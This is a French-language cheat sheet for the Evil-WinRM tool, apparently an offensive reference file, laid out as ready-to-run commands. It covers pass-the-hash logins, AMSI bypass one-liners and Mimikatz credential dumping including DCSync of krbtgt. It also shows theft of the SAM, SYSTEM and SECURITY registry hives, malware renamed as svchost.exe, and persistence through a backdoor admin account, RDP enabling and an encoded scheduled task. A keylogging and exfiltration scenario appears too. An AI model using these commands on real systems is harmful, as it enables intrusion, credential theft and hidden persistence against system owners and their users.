| name | evil-winrm |
| description | Evil-WinRM — shell interactif WinRM, pass-the-hash, upload/download, scripts Bypass-AMSI, chargement de DLL/exe en mémoire, passkeys, DLL sideloading, et scénarios de post-exploitation Windows. |
Evil-WinRM — Shell Windows via WinRM
Présentation
Evil-WinRM est un shell interactif pour Windows Remote Management (WinRM). Il permet de se connecter à distance sur des machines Windows avec le port 5985/5986 ouvert.
Prérequis : WinRM doit être activé sur la cible (port 5985 HTTP ou 5986 HTTPS).
Installation :
sudo apt install evil-winrm
sudo gem install evil-winrm
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm && bundle install
Connexion de base
Avec mot de passe
evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123'
evil-winrm -i 192.168.1.10 -u DOMAIN\\Administrator -p 'Password123'
evil-winrm -i 192.168.1.10 -p 5986 -u Admin -p 'Password'
Pass-the-Hash (NTLM hash)
evil-winrm -i 192.168.1.10 -u Administrator -H NTHASH
evil-winrm -i 192.168.1.10 -u Administrateur -H NTHASH
evil-winrm -i 192.168.1.10 -u Admin -H LMHASH:NTHASH
evil-winrm -i 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Avec clé SSH / certificat
evil-winrm -i 192.168.1.10 -c cert.pem -k key.pem -S
evil-winrm -i 192.168.1.10 -u user -p password -k id_rsa
Options de connexion
Sécurité et chiffrement
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -S
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -S -k
evil-winrm -i 192.168.1.10 -p 5986 -u Admin -p 'Password' -S
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -a Negotiate
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -a Basic
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -a Kerberos
Proxy et réseau
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -P http://proxy:8080
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -P socks5://127.0.0.1:1080
evil-winrm -i 192.168.1.10 -u Admin -p 'Password' -t 60
Commandes Evil-WinRM (interactif)
Commandes système
whoami
whoami /groups
net user
net localgroup Administrators
ipconfig
systeminfo
dir C:\
Commandes spécifiques Evil-WinRM
help
info
get_url
get_config
get_host
pwd
cd C:\Windows\Temp
ls
download C:\Users\Administrator\Desktop\flag.txt
download C:\Users\Administrator\Documents /tmp/docs/
upload /tmp/payload.exe C:\Windows\Temp\payload.exe
upload /tmp/mimikatz.exe C:\Temp\svchost.exe
Modules intégrés
menu
Bypass-4MSI
Invoke-Mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
Upload et exécution de scripts
Charger un script PowerShell
menu
upload PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetUser
Exécuter des DLL
menu
AMSI Bypass
Bypass-4MSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero)
Post-exploitation via Evil-WinRM
Énumération système
whoami
whoami /groups
whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Locale" /C:"Total Physical Memory"
Get-Process | Select-Object Name, Id, StartTime | Sort-Object StartTime
Get-Service | Where-Object {$_.Status -eq "Running"}
ipconfig /all
netstat -ano
Get-NetTCPConnection
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20
net user
Get-LocalUser
Get-LocalGroupMember Administrators
Élévation de privilèges
whoami /priv
upload PrintSpoofer.exe
.\PrintSpoofer.exe -c "whoami"
upload Watson.exe
.\Watson.exe
Extraction de credentials
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::sam"'
reg save hklm\sam C:\Temp\sam.save
reg save hklm\system C:\Temp\system.save
reg save hklm\security C:\Temp\security.save
download C:\Temp\sam.save
download C:\Temp\system.save
download C:\Temp\security.save
Persistance
net user eva P@ssw0rd123 /add
net localgroup Administrators eva /add
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument '-enc <BASE64>'
$trigger = New-ScheduledTaskTrigger -Daily -At 09:00
Register-ScheduledTask -TaskName "EvilTask" -Action $action -Trigger $trigger
Recherche de fichiers sensibles
Get-ChildItem -Path C:\ -Recurse -Include *.config, *.xml, *.txt, *.ini -ErrorAction SilentlyContinue | Select-Object FullName
Get-ChildItem -Path C:\Users\ -Recurse -Include *.kdbx, *.rdp, *.vnc, *.pfx, *.p12, *.key -ErrorAction SilentlyContinue
Select-String -Path "C:\Users\*.ps1","C:\*.bat","C:\*.vbs" -Pattern "password|passwd|pwd" -CaseSensitive
Scénarios complets
1. Pass-the-Hash + Dump SAM
evil-winrm -i 192.168.1.10 -u Administrator -H NTHASH
Bypass-4MSI
reg save hklm\sam C:\Temp\sam.save
reg save hklm\system C:\Temp\system.save
reg save hklm\security C:\Temp\security.save
download C:\Temp\sam.save
download C:\Temp\system.save
download C:\Temp\security.save
del C:\Temp\sam.save
del C:\Temp\system.save
del C:\Temp\security.save
impacket-secretsdump -sam sam.save -system system.save LOCAL
2. Pass-the-Hash + Mimikatz
evil-winrm -i 192.168.1.10 -u Administrator -H NTHASH
Bypass-4MSI
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::sam"'
3. Keylogging + Exfiltration
upload Keylogger.ps1
Import-Module .\Keylogger.ps1
Start-Keylogger
Get-Content C:\Temp\keys.log
download C:\Temp\keys.log
Dépannage
| Problème | Solution |
|---|
| "WinRM port closed" | Vérifier port 5985/5986 ouvert sur la cible |
| "Authentication failed" | Vérifier le mot de passe ou le hash |
| "User not admin" | WinRM nécessite admin local |
| "Connection timeout" | Vérifier le réseau, ajouter -t 120 |
| AMSI bloque même après bypass | Utiliser un payload obfusqué |
| "Cannot upload" | Vérifier les droits d'écriture sur le dossier cible |
Antisèche rapide
evil-winrm -i 192.168.1.10 -u Admin -p 'Password123'
evil-winrm -i 192.168.1.10 -u Admin -H NTHASH
Bypass-4MSI
upload /tmp/tool.exe C:\Temp\
download C:\path\file.txt
Invoke-Mimikatz
info
menu
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
reg save hklm\sam C:\Temp\sam.save
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'